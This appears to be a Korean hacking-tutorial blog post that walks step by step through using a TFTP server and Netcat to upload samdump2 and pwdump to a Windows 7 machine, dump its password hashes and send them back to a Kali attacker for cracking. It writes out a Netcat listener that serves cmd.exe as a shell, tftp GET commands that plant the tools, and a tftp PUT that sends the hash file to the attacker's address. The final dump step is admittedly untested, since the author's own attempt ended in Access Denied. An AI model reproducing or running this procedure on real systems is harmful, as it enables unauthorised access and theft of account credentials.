본문 바로가기

HOW TO HACK/Basics

TFTP, Netcat을 이용해 타겟시스템 패스워드 크랙하기


# 본 게시글의 내용을 악의적인 목적으로 사용시 그에 대한 법적책임을 

  포함한 모든 책임은 전적으로 당사자에게 있으며, 작성자는 어떠한 책임도

  지지 않음을 알려드립니다.


# 이 글을 열람하는 것은 위 사항에 동의한 것으로 간주합니다.



메타스플로잇으로 타겟시스템의 메터프리터를 얻어내는 것은 항상 성공하지만은 않기 때문에

다양한 방법을 통해 타겟시스템에 커맨드쉘을 얻어낼 필요가 있다. 

대표적으로 Netcat이나 Cryptcat을 통해 타겟시스템의 커맨드쉘에 연결을 할 수 있다.


각각의 경우에 타겟시스템을 장악하고, 컨트롤하기 위해 우리는 추가적인 소프트웨어를 업로드해야 하며, 

이것은 TFTP를 통해 업로드가 가능하다.



TFTP 동작방식


TFTP는 69번 포트를 사용하는 UDP/IP 프로토콜이다. 컴퓨터간 인증과정없이 파일을 업로드(GET), 다운로드(PUT)하는데 사용된다. Client/Server 구조로 동작한다. Kali 시스템에 TFTP서버를 설치, 사용한다면 커맨드라인을 통해 타겟시스템에 해킹소프트웨어를 업로드할 수 있다.


예를 들면, 패스워드 해시파일을 가로채고 크랙하길 원한다면, 이 튜토리얼처럼 타겟시스템에 samdump2와 pwdump를 업로드해야 한다. 패스워드 해시를 가로챈 후, 칼리리눅스에 패스워드 해시파일을 다운로드하기 위해 TFTP를 사용할 수 있다. 또한 칼리리눅스로 다운로드한 패스워드 해시파일을 크랙하여 패스워드를 알아낼 수 있을 것이다.


잠깐 Tip. TFTP에 대해 알아보고 가자. 


TFTP란?


Trivial File Transfer Protocol로 FTP와 마찬가지로 파일을 전송하기 위한 프로토콜이며,

FTP보다 더 단순한 방식으로 파일을 전송한다.


FTP Vs TFTP


FTP

TFTP 

 TCP기반

UDP기반

 20,21번 포트 사용

 69번 포트 사용

 로그인 절차가 있다.

로그인 절차가 없다. 

 파일디렉토리를 볼 수 있다.(DIR)

파일디렉토리를 볼 수 없다. 



TFTP Client는 어떤 시스템에 있는가?


거의 모든 OS에 TFTP Client가 설치되어있지만, 항상 활성화되어있진 않다. 윈도우XP와 그 이전 OS에서는 TFTP Client는 기본적으로 활성화되어있다. 윈도우 비스타와 그 이후 OS에서는 TFTP를 제어판을 통해 활성화해야 한다. 시스템 관리자는 관리적인 목적으로 TFTP Client를 자주 활성화하고, 그대로 남겨둔다.


유닉스/리눅스는 기본적으로 활성화되어있다. 많은 네트워크 스위치와 라우터도 새로운 설정파일을 업로드, 다운로드하기 위해 활성화되어있다. 우리가 TFTP 서버를 가지고 있다면 타겟시스템에 소프트웨어를 업로드, 다운로드할 수 있다.


칼리리눅스는 advanced TFTP(aTFTP) 서버가 기본적으로 설치되어있다. 

우리는 타겟머신에 소프트웨어를 업로드, 다운로드하기 위해 그것을 사용할 수 있다. 



타겟에 소프트웨어를 설치하기 위해 TFTP 사용하기


이 튜토리얼에서는, TFTP 클라이언트가 활성화되어 있는 윈도우 7(원문에서는 윈도우 서버 2003이 타겟임)에 패스워드 크랙킹 소프트웨어를 업로드할 것이다. 타겟에 패스워드 크랙킹 소프트웨어를 업로드하면, 패스워드 해시를 가로챌 수 있고, 그것을 다운로드하여 크랙할 수 있다.


윈도우 7에서 TFTP 클라이언트 활성화 방법을 짚어보고 가자. 


잠깐 Tip. 윈도우 7 TFTP 클라이언트 활성화하기


아래 사이트에 잘 나와있다.


원문과 같이 윈도우 서버 2003으로 재현을 해보려했으나, 윈도우 서버 2003에서 TFTP 클라이언트를 활성화하는 방법을 찾을 수가 없었다. 혹시 이 포스팅을 읽는 분 중 윈도우 서버 2003에서 TFTP 클라이언트를 활성화하는 방법을 알고계신 분이 있으시면 댓글로 좀 알려주시면 감사감사~^^

어쨋든, 나는 윈도우 7에 테스트하는 걸로 대신하겠다.

타겟시스템인 윈도우 7에 TFTP 클라이언트가 정상적으로 활성화되었는지는 커맨드창에서 tftp 명령을 쳐서 아래 그림과 같이 나오면 정상으로 판단한다.





<재현환경>

 구분

 OS

 IP address

 공격자(Attacker)

 Kali Linux 2.0

 192.168.0.51

 희생자(Victim)

 Windows 7 Professional

 192.168.0.54

 


Step 1: 칼리 실행 & 터미널 열기


칼리리눅스를 실행하고, 터미널을 열자.



Step 2: TFTP 서버를 실행하고, TFTP 디렉토리를 만들어라.


첫번째 단계는 aTFTP(atftpd) 서버를 실행하는 것이다.


Kali > service atftpd start


그리고나서, 악의적인 소프트웨어를 업로드할 디렉토리를 만들어라.


Kali > mkdir /tftpboot




Step 3: 설정파일 수정


다음은, atftpd 설정파일을 수정해야 한다. Text Editor로 그것을 열 수 있지만, 여기서는

Leafpad를 사용하겠다.


Kali > leafpad /etc/default/atftpd



위 그림과 같이 수정하고, 저장해라.

새로운 설정을 적용시키기 위해 aTFTP 서버를 재시작해야 한다.


Kali > /etc/init.d/atftpd restart




Step 4: 멀웨어를 복사하라.


다음은, /tftpboot 디렉토리에 멀웨어를 복사해야한다. 

먼저, 멀웨어가 있는 디렉토리로 이동해라. find 명령을 통해 파일을 찾아보자.



/usr/bin에 있다.


Kali > cd /usr/bin


그 후 /tftpboot 디렉토리에 그것들을 복사해라.


Kali > cp samdump2 /tftpboot

Kali > cp pwdump /tftpboot



Step 5: 타겟에 연결해라.


멀웨어를 업로드하길 원한다면, 타겟머신에 연결해야 한다.

메타스플로잇이나 다른 방법으로 커맨드쉘을 얻어야 한다.

여기서는 Netcat을 사용할 것이다.


먼저, 타겟시스템에 Netcat 리스너가 실행중이어야 한다. 그래야 칼리에서 타겟으로 연결할 수 있다. 윈도우7에서 아래 명령어로 Netcat 연결 시 커맨드창이 뜨게 해놓는다.

넷캣의 간단한 사용법은 아래 블로그를 참고하면 된다.

(Netcat 사용법 : http://idkwim.tistory.com/58)


Windows 7 > nc -l -p 6996 -e cmd.exe



netstat 명령어로 리스닝 중인지 확인해보자. 



위 그림과 같이 6996번 포트로 Listening중임을 알 수 있다.


칼리에서 타겟시스템에 연결을 해보자.


Kali > nc 192.168.0.54 6996


알다시피, 타겟시스템에 Netcat 리스너에 의해 제공된 커맨드쉘을 통해 아래 그림과 같이 윈도우 머신에 연결된다. 




Step 6: 타겟에 멀웨어 이동하기


aTFTP 서버의 설정 완료 및 /tftpboot 디렉토리에 의도한 소프트웨어를 넣었고, Netcat을 통해 타겟시스템에 연결했다. 이제 윈도우 시스템에 멀웨어를 업로드 할 수 있다.


칼리리눅스에 연결된 윈도우 시스템의 커맨드쉘에서 다음 명령어를 통해 업로드가 가능하다.


C:\>tftp -i 192.168.0.51 GET samdump2

C:\>tftp -i 192.168.0.51 GET pwdump



dir 명령어를 통해 윈도우 시스템에 정상적으로 멀웨어가 업로드 된 것을 확인할 수 있다.




Step 7: 패스워드 해시파일 다운로드


타겟시스템에 pwdump와 samdump2를 업로드했으면, 이제 해시파일을 가로챌 수 있다.


원문에서는 어떤 설명도 없지만 내 생각에는 우선 업로드한 pwdump와 samdump2 프로그램을 통해 윈도우의 해시파일의 dump파일을 저장해야 할 것으로 보인다.


칼리에서 가져온 samdump2와 pwdump가 실행파일이 아니라, 우선 실행파일로 바꿔줘야 할 것 같다.


C:\>copy samdump2 samdump2.exe

C:\>copy pwdump pwdump.exe


해시파일 덤프를 위해 Netcat으로 붙은 커맨드쉘(칼리)에서 아래 명령어를 실행한다.


C:\>samdump2.exe > samdump_hash.txt

C:\>pwdump.exe > pwdump_hash.txt


내 경우에는 윈도우 시스템에 로그온된 계정이 일반사용자 계정이라 그런지 SAM파일에 접근하지 못했다. (Access Denied!!) 만약 관리자권한을 얻어낸다면 패스워드 해시파일을 위의 명령어대로 samdump_hash.txt나 pwdump_hash.txt 파일로 dump를 떠서 아래 나온 방법대로 가능할 것으로 판단된다. (그렇겠지............??)


C:\>tftp -i 192.168.0.51 PUT pwdump_hash.txt


이 명령어는 칼리리눅스의 /tftpboot 디렉토리로 pwdump_hash.txt 파일을 보낼 것이다. 

그러면, 칼리리눅스에서 Hashcat이나 John the Ripper 프로그램을 이용하여 패스워드 해시를 크랙할 수 있을 것이다. <끝>